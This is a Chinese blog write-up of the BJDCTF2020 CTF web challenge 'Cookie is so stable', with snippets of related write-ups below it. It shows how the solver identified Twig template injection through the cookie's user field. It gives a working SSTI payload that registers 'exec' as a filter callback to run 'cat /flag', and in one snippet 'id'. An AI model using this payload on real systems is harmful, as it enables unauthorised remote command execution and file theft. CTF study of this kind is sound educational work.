[BJDCTF2020]Cookie is so stable

最新推荐文章于 2024-07-22 17:19:45 发布
原创 最新推荐文章于 2024-07-22 17:19:45 发布 · 180 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #信息安全 #web安全

本文介绍了一次针对flag.php页面的SSTI模板注入攻击案例。通过在cookie中发送特定payload {{7*7}

在这里插入图片描述
找了一圈，在flag.php页面发现一个输入框，抓包看下
在这里插入图片描述
提示要在cookie进行攻击，应该是个SSTI模板注入，传入{{7*7}}
在这里插入图片描述
返回49，用的是Twig模块
payload：{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
在这里插入图片描述

[BJDCTF2020]Cookie is so stable（漏洞原理详解）
pakho_C的博客
04-18 3531
web第45题 [BJDCTF2020]Cookie is so stable 打开靶场 访问flag页面 一个输入框 访问hint页面，查看源码 提示与cookie有关 那么在flag页面输入后抓包观察 输入后显示 登陆后抓包显示为 做到这里又遇到新的知识点了，模板注入漏洞 参考大佬的博客：一篇文章带你理解漏洞之 SSTI 漏洞，讲的非常详细 漏洞原理： SSTI 怎么产生的 服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web 应用模板内容的一部分，模板引擎在进行目标编译渲染的过
[BJDCTF2020]Cookie is so stable 学习笔记
最新发布
qq_60114866的博客
10-27 142
本文介绍了一个CTF解题过程：通过查看网页源代码发现提示后尝试抓包检查cookies，但未发现异常。在尝试SQL注入等方法无效后，参考他人解法发现需要使用SSTI（服务器端模板注入）漏洞。最终在抓包时发现user信息存储在cookie中，将模板注入代码写入cookie后成功获取flag。文章简要记录了从发现问题到最终解题的关键步骤，重点在于识别出SSTI注入点并利用cookie传递攻击载荷。
BUUCTF：[BJDCTF2020]Cookie is so stable
qq_46230755的博客
12-27 362
打开后发现有一个flag选项卡，进去后发现有一个输入框 简单测试一下 发现存在着模板注入 （别的师傅那copy的流程图） 如果是Twig，输入{{7*'7'}} 输出49 如果是Jinja，输入{{7*'7'}} 输出7777777 这题是Twig 在hint.php的源码中，对我们进行了提示 我们进行抓包，然后发现cookie里的user是注入点，直接构造payload user={{_self.env.registerUndefinedFilterCallback("exec")}}{.
[BJDCTF2020]Cookie is so stable1
m0_73673698的博客
06-13 905
如果是Jinja2的话输出应该是输出22，为什么输出22呢，'2'在python中被看作是字符串，在python中一个字符串乘上一个数字，就是将这个字符串连续输出，看下面演示。这里是Twig1.x版本（但是怎么确定是1.x版本的我没有弄明白，因此下面的payload也只适用于Twig1.x版本）最终我们的payload为。提示看一下cookie，我们在flag.php页面抓包可以看到cookie中是存在一个user参数的。确定是ssti注入，那么接下来就是确定是哪个模板了，上图。打开题目，看到如下页面。
BUUCTF [BJDCTF2020]Cookie is so stable
weixin_73399382的博客
07-22 833
这道题先点了一下没发现什么get参数，dirsearch和githack都扫了一下没啥收获，后面在hint源码中发现一行注释让我们仔细看cookie又回去在flag页面随便输个名字（只有这里有操作的地方），看到发了两个数据包，post方式包里面带两个请求体参数，不过cookie没有什么异常get型数据包里面发现多了一个参数usercookie一般存在什么问题，伪造身份，注入？这里伪造身份肯定不存在，那就只能注入了，但是有个问题是我们输入的数据被当做数据打印出来了，那就没法sql注入。
【BUUCTF】[BJDCTF2020]Cookie is so stable
aoao331198的博客
04-30 359
flag页面比较容易看出来存在SSTI 看见有wp说是Twig模板注入，copy一下判断方法 尝试{{7*7}}, 返回49 尝试{{7*‘7’}},返回49,说明是Twig模板，但是如果返回7777777，则说明是Jinia2模板 不同的模板的攻击方式不同，贴一个好文章 一篇文章带你理解漏洞之 SSTI 漏洞 用PL {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}} 但是在输入框.
[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)
记录学习，一起进步
04-03 888
[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)
web buuctf [BJDCTF2020]Cookie is so stable
weixin_44214568的博客
03-31 677
1. 2.查看hint页面源代码，提示关键在cookie 3.用admin登录，之后刷新抓包，发现cookie: UM_distinctid=17df970999f4d4-04704e6be3f571-4c3e207f-e1000-17df97099a05d4; PHPSESSID=c8ca1d92349dffef8879d35029b3eeb0; user=admin 第一个是友盟的,主要看cookie中的user 4.cookie中的注入，我第一个想法就是ssti（模板注入） paylo
BUUCTF-web类-[BJDCTF2020]Cookie is so stable
weixin_44622228的博客
04-20 985
BUUCTF-web类-[BJDCTF2020]Cookie is so stable 题目提示Cookie，进入靶机就看看cookie， 目前看来没有什么异常，先看看页面，发现有flag按钮，查看一下 要我们输入一个id，随便输入个123看看， 回显我们的id，于是看了看我的cookie，发现Cookie中多了user参数。 初步猜想，有没有可能是Cookie注入？于是我输入了几个注入关键字测试...
【学习笔记 42】 buu [BJDCTF2020]Cookie is so stable
weixin_43553654的博客
08-02 462
0x00 知识点 Twig模板注入 0x01 知识点详解 什么是Twig模板注入？ 答：这里推荐一位大佬的文章，看看人家的博客，才是真的强。 https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之SSTI漏洞/#2-Twig 0x02 解题思路 什么都没有，点开flag 发现是个登录界面，尝试经典{{7*7}}后判断是Twig模板注入 再hint页面查看源码 发现提示指向了cookie，再flag页面登录的时候抓包分析。 推测出cookie里的user参数就是
buuctf [BJDCTF2020]Easy MD5靶机信息
06-24
### BJDCTF2020 Easy MD5 靶机信息与解题思路 #### 问题背景 在BUUCTF中的BJDCTF2020赛事中，Easy MD5靶机涉及弱类型比较漏洞和MD5碰撞特性。此题目要求用户通过构造特定输入来绕过验证逻辑[^1]。 #### 解题步骤...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bnessy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值